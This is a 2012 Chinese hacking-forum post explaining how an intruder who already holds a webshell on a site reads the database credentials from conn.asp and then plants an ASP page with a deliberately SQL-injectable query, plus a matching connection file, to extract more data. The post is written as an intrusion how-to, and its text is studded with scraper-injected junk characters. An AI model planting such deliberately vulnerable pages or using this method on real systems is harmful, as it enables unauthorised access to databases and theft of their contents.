找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1850|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵5 O7 y0 E6 v9 g0 g
: Z. Z4 V9 @0 `' a
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
- M% J$ K: ^8 A4 f
7 f9 k' v- G* u( g/ m% H这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!0 X4 u* K. Z7 G5 H8 [: a
2 J2 v2 |, o% a) i( t
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
/ v* Q8 o" o2 h. }* g1 w$ t/ \) U- m+ p, L) g/ j# s
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
4 e) c# H; O; `' |. h; \: e7 ^- }0 b: b6 ~  B
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
8 s3 ^* ~! {+ v. c9 |
& _6 f; x" W; S$ q6 Q, n5 I: ~6 p+ X程序代码* O7 N% d8 g) M  Y
<!--#include file="xx.asp"-->& f7 M, N# K) t7 N' A4 Q4 i8 K0 R3 j
<%
+ E% L+ J- f  C( _set rs=server.createobject("ADODB.recordset")9 G. T; a# T+ g
id = request("id")# l7 O" W3 N, P; S6 B2 `9 I' I
strSQL = "select * from admin where id=" & id
/ R5 @$ E- m. H) grs.open strSQL,conn,1,3" R, A: L3 h0 {1 u
rs.close
8 O2 |; H7 B# W%>7 X: V8 R* [/ ~3 y* y$ F* O9 w7 h
1 X: s- ~5 T' E6 D- T, x. G
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在0 `  r  ]( J3 [% h0 [0 g8 G$ H
; E7 S$ H8 V/ u2 w. C! I
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!; h3 O- s0 p0 y: F7 H/ F, ^
9 n1 @5 D: i! {( |! `5 Q* M% ^
然后就要构造一个连接数据库的文件了,代码如下:& Y- B* ~# O- ~
程序代码3 q2 p. b$ F6 e9 A* d) P3 Z0 E, p
<%        
( I$ x' {: B) r: B( ?strSQLServerName = "000.000.000.000"     '服务器名称或地址
. r2 T' K: {: a' E; t* G" @% ostrSQLDBUserName = "sqlname"         '数据库帐号: P) u6 ?8 G6 v' A6 [2 {
strSQLDBPassword = "sqlpass"         '数据库密码
: a# V; Q1 @5 B) y* gstrSQLDBName = "sqldataname"           '数据库名称
  u; u9 f$ l# v" `9 D7 V, ]6 @) T' g" xSet conn = Server.CreateObject("ADODB.Connection"), @! _( `  e& n: K( v
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";") `! ^% o* ^  M6 _
conn.open strCon
/ s, G5 a+ C+ z; X2 t% S9 H  ^%>
: [! N& g; q1 z! Z
$ u1 F+ h( {: X# |1 K这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
0 E: L, M5 C$ f, S  [6 E4 G, |; F- d+ g* w4 e7 X
就这样,正常情况下,就OK了,伪造成功……
' t/ w0 r) U+ H5 c! b6 f
0 C9 V2 ?! f6 @           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表